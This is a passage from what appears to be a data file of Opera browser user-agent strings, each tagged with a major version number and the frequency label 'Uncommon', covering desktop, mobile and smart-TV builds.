NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.46\",46,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.888\",45,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.39\",46,Uncommon\nOpera/9.80 (Windows NT 6.1; U; en) Presto/2.2.15 Version/10.00,10,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 OPR/39.0.2256.71\",39,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36 OPR/42.0.2393.85\",42,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36 OPR/16.0.1196.62\",16,Uncommon\nOpera/9.80 (S60; SymbOS; Opera Mobi/SYB-1104061449; U; da) Presto/2.7.81 Version/11.00,11,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.64\",52,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) OPR/35.0\",35,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36 OPR/32.0.1948.69\",32,Uncommon\nOpera/9.80 (X11; U; Linux x86_64) Presto/2.9.181 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.881\",45,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36 OPR/51.0.2830.26\",51,Uncommon\nOpera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1301080958) Presto/2.11.355 Version/12.10,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36 OPR/45.0.2552.635\",45,Uncommon\nOpera/9.00 (Windows NT 4.0; U; en),9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2036.25\",34,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36 OPR/28.0.1750.48\",28,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 OPR/22.0.1471.70 (Edition Yx)\",22,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2700.0 Safari/537.36 OPR/38.0.2213.0 (Edition developer)\",38,Uncommon\n\"Mozilla/5.0 (X11; U; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36 OPR/42.0.2393.85\",42,Uncommon\n\"Mozilla/5.0 (Linux; BRAVIA 2015 Build/LMY48E.S265) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36 OPR/28.0.1754.0 OMI/4.4.22.20.E102586-1.136\",28,Uncommon\nOpera/9.80 (Windows NT 5.2) Presto/2.12.388 Version/12.18,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.2743.82 Safari/537.36 OPR/39.0.2256.43\",39,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.57\",46,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36 OPR/46.0.2597.26\",46,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 OPR/30.0.1835.49\",30,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.117 Safari/537.36 OPR/24.0.1565.82529\",24,Uncommon\nOpera/9.80 (MTK; Nucleus; U; en-US) Presto/2.4.18 Version/10.00,10,Uncommon\nOpera/ 12.0(x11; Linux x86_64; U; Linux Mint; en) Presto/2.2.15 Version/12.0,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.46 Safari/537.36 OPR/20.0.1387.16 (Edition Developer)\",20,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1218\",44,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2700.0 Safari/537.36 OPR/38.0.2213.0 (Edition developer)\",38,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.2.2; Nexus 7 Build/JDQ39) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.123 Safari/537.22 OPR/14.0.1025.52315\",14,Uncommon\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.1144\",43,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.0.39.18 (LUXOR, Mxl661L32, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.168 Safari/537.36 OPR/51.0.2830.40\",51,Uncommon\nOpera/9.80 (Windows NT 6.1; Win64; x64; Edition Yx) Presto/2.12.388 Version/12.11,12,Uncommon\nOpera/9.80 (Macintosh; Intel Mac OS X 10.7.3; U; en) Presto/2.10.229 Version/11.61,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.2357.125 Safari/537.36 OPR/30.0.1835.88\",30,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.94\",42,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.52 Safari/537.36 OPR/31.0.1889.50 (Edition beta)\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.2357.125 Safari/537.36 OPR/30.0.1835.88\",30,Uncommon\nOpera/9.80 (Linux i686; Opera Mobi/46154; MeeGo) Presto/2.11.355 Version/12.10,12,Uncommon\nOpera/9.80 (Windows NT 5.0; U; en) Presto/2.6.30 Version/10.63,10,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.45.23.11 (JVC, Mxl661236_, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\nOpera/9.80 (Linux armv7l; U;  CE-HTML/1.0 NETTV/4.1.1; en) Presto/2.10.287 Version/12.00,12,Uncommon\nOpera/9.80 (Macintosh; Intel Mac OS X 10.4.11; U; en) Presto/2.7.62 Version/11.00,11,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2756.0 Safari/537.36 OPR/40.0.2267.0 (Edition developer)\",40,Uncommon\nOpera/9.80 (Windows NT 6.2) Presto/2.12.388 Version/12.18,12,Uncommon\nOpera/9.80 (Windows NT 5.1; Edition Yx) Presto/2.12.388 Version/12.11,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2036.41\",34,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.46\",36,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.64 Safari/537.36 OPR/33.0.2002.97617\",33,Uncommon\nOpera/9.80 (Macintosh; Intel Mac OS X 10.8.2) Presto/2.12.388 Version/12.14,12,Uncommon\nOpera/9.80 (Windows NT 6.1; U; Edition Next; en) Presto/2.10.289 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36 OPR/42.0.2393.85\",42,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1612.2 Safari/537.36 OPR/18.0.1258.1 (Edition Developer)\",18,Uncommon\nOpera/9.25 (Windows NT 6.0; U; en),9,Uncommon\nOpera/9.23 (Windows NT 5.1; U; en),9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36 OPR/41.0.2353.46\",41,Uncommon\nOpera/9.80 (Windows NT 6.1; U; ja) Presto/2.10.229 Version/11.61,11,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; de) Opera 11.51,11,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36 OPR/32.0.1948.69\",32,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 OPR/30.1835.49 (Edition beta)\",30,Uncommon\nOpera/9.80 (X11; Linux x86_64) Presto/2.12.388 Version/12.11,12,Uncommon\nOpera/7.54 (Windows NT 5.1; U)  [pl],7,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.87 Safari/537.36 OPR/41.0.2353.56\",41,Uncommon\n\"Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 OPR/31.0.1890.0 OMI/4.6.1.40.Dominik2.191 VSTVB MB100 FVC/1.0 (TECHWOOD; MB110; ) HbbTV/1.3.1 (; TECHWOOD; MB110; 2.21.24.0; ;) SmartTvA/3.0.0\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.27 Safari/537.36 OPR/26.0.1656.5 (Edition developer)\",26,Uncommon\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36 OPR/43.0.2442.806\",43,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.39\",48,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.1.2; Nokia_XL Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.72 Mobile Safari/537.36 OPR/19.0.1340.71596\",19,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.43\",49,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36 OPR/16.0.1196.80\",16,Uncommon\nOpera/9.80 (Macintosh; Intel Mac OS X 10.8.2) Presto/2.12.388 Version/12.12,12,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.32\",36,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36 OPR/35.0.2066.37\",35,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.67\",50,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36 OPR/46.0.2597.26\",46,Uncommon\nOpera/9.80 (Windows NT 5.1; Edition Campaign 21) Presto/2.12.388 Version/12.17,12,Uncommon\nOpera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/38.0.2220.31,38,Uncommon\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 OPR/40.0.2308.81\",40,Uncommon\nOpera/9.51 Beta (Microsoft Windows; PPC; Opera Mobi/1718; U; en),9,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.83\",47,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 OPR/15.0.1147.153\",15,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2832.2 Safari/537.36 OPR/41.0.2340.0 (Edition developer)\",41,Uncommon\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.888\",45,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.55\",47,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2739.0 Safari/537.36 OPR/39.0.2248.0 (Edition developer)\",39,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 OPR/40.0.2308.81\",40,Uncommon\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36 OPR/42.0.2393.85\",42,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36 OPR/51.0.2830.26\",51,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36 OPR/41.0.2353.69\",41,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.45.18.4 (HITACHI, Mxl66148_V, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.52\",48,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.39\",49,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB95/3.3.6.X (TOSHIBA, Si2156LG32, wireless)\",12,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36 OPR/16.0.1196.80\",16,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.45.23.11 (BUSH, Mxl661236_, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1825.4 Safari/537.36 OPR/21.0.1419.0 (Edition Developer)\",21,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36 OPR/44.0.0.251023979 (Edition EXP135)\",44,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2824.2 Safari/537.36 OPR/41.0.2329.0 (Edition developer)\",41,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; Edition Yx) Presto/2.12.388 Version/12.16,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36 OPR/35.0.2066.82\",35,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB95/3.6.6.i (POLAROID, Si2157LG32, wireless)\",12,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.1165\",43,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.1.2; Nokia_X Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Mobile Safari/537.36 OPR/18.0.1290.68007\",18,Uncommon\nOpera/9.80 (Windows NT 5.1; U; ru) Presto/2.10.229 Version/11.64,11,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.39.24.3 (LUXOR, Mxl661L32, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36 OPR/33.0.1990.115\",33,Uncommon\nOpera/9.80 (Windows NT 6.2) Presto/2.12.388 Version/12.17,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3278.0 Safari/537.36 OPR/51.0.2802.0 (Edition developer)\",51,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36 OPR/38.0.2220.29\",38,Uncommon\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36 OPR/44.0.2510.857\",44,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2832.2 Safari/537.36 OPR/41.0.2349.0 (Edition developer)\",41,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.351\",42,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3175.3 Safari/537.36 OPR/49.0.2695.0 (Edition developer)\",49,Uncommon\nOpera/9.80 (Windows NT 6.1; Edition IBIS) Presto/2.12.388 Version/12.15,12,Uncommon\nMozilla/5.0 (X11; U; FreeBSD i386; zh-tw; rv:31.0) Gecko/20100101 Opera/13.0,13,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36 OPR/30.0.1835.151\",30,Uncommon\nOpera/9.50 (Windows NT 5.1; U; nn),9,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36 OPR/36.0.2130.80 (Edition Campaign 67)\",36,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36 OPR/51.0.2830.55\",51,Uncommon\nOpera/9.80 (Windows; Opera Mobi/35779; U; en) Presto/2.10.254 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36 OPR/51.0.2830.55\",51,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.37\",52,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.2357.125 Safari/537.36 OPR/30.0.1835.88\",30,Uncommon\nOpera/9.80 (Linux armv6l; Opera TV Store/5581; (SonyBDP/BDV13)) Presto/2.12.362 Version/12.11,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2036.25\",34,Uncommon\nOpera/9.80 (Linux mips; U; ; en) Presto/2.10.287 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64\",49,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.66\",36,Uncommon\nOpera/53.0.2785. (Windows NT 6.2 ; U; en-US) Presto/6.7.800 Version/53.0.2785.,,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/52.0.2871.40\",52,Uncommon\nOpera/9.80 (Windows NT 10.0; Win64; x64) Presto/2.12.388 Version/12.18,12,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 OPR/37.0.2178.43\",37,Uncommon\nOpera/9.80 (X11; Linux i686; U; hu) Presto/2.9.168 Version/11.50,11,Uncommon\nOpera/9.80 (Linux armv7l; Opera TV Store/5581) Presto/2.12.362 Version/12.11,12,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1) Opera 12.16,12,Uncommon\nOpera/9.80 (Android 4.0.3; Linux; Opera Mobi/ADR-1301080958) Presto/2.11.355 Version/12.10,12,Uncommon\nOpera/9.80 (X11; Linux x86_64) Presto/2.12.388 Version/12.15,12,Uncommon\nOpera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 OPR/22.0.1471.70 (Edition Campaign 37)\",22,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.122 Safari/537.36 OPR/24.0.1558.64 (Edition FCR)\",24,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.52\",48,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36 OPR/49.0.2725.34\",49,Uncommon\nOpera/ 12.0(x11; Linux x86-64; U; Linux Mint; en) Presto/2.2.15 Version/12.0,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36 OPR/27.0.1689.69 (Edition Campaign 49)\",27,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.89 Safari/537.36 OPR/27.0.1698.89115\",27,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2859.0 Safari/537.36 OPR/42.0.2372.0 (Edition developer)\",42,Uncommon\n\"Opera/9.80 (Linux armv7l;  HbbTV/1.1.1 (; Philips; ; ; PhilipsTV; ) CE-HTML/1.0 NETTV/4.3.1 PhilipsTV/2.1.1 Firmware/003.015.000.001 (PhilipsTV, 2.1.1,) en) Presto/2.12.362 Version/12.11\",12,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.64 Safari/537.36 OPR/36.0.2126.101126\",36,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/538.1 (KHTML, like Gecko) Safari/538.1 OPR\",,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36 OPR/31.0.1889.99\",31,Uncommon\nMozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.0 [en],6,Uncommon\nOpera/9.80 (Macintosh; Intel Mac OS X 10.11.3) Presto/2.12.388 Version/12.16,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36 OPR/27.0.1689.69 (Edition Goru)\",27,Uncommon\n\"Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 OPR/31.0.1890.0 OMI/4.6.1.40.Dominik2.157 VSTVB MB100 FVC/1.0 (LUXOR; MB110; 2.18.2.0) HbbTV/1.3.1 (; LUXOR; MB110; 2.18.2.0; ;) SmartTvA/3.0.0\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36 OPR/20.0.1387.64\",20,Uncommon\nOpera/9.80 (Android 4.0.4; Linux; Opera Mobi/ADR-1205181138; U; pl) Presto/2.10.254 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36 OPR/29.0.1803.0 OMI/4.5.23.37.ALSAN5.131 TV Store/4.5 Model/Sony-KDL-40W650D\",29,Uncommon\n\"Opera/9.80 (Linux armv7l; HbbTV/1.2.1 (; Philips; ; ; PHILIPSTV;  CE-HTML/1.0 NETTV/4.4.1 SmartTvA/3.0.0 Firmware/000.003.028.002 (PhilipsTV, 3.1.1,)en) ) Presto/2.12.407 Version/12.50\",12,Uncommon\nOpera/9.80 (Windows NT 6.2) Presto/2.12.388 Version/12.15,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.72 Safari/537.36 OPR/15.0.1147.148\",15,Uncommon\n\"Mozilla/5.0 (Linux; BRAVIA 2015 Build/LMY48E.S243) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36 OPR/28.0.1754.0 OMI/4.4.22.20.E102586-1.136\",28,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.0.39.18 (BUSH, Mxl661L32, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.0.39.10 (HITACHI, Mxl661L32, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.4.2; LG-F240L Build/KVT49L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.78 Mobile Safari/537.36 OPR/30.0.1856.93524\",30,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.28 Safari/537.36 OPR/27.0.1689.29 (Edition beta)\",27,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) 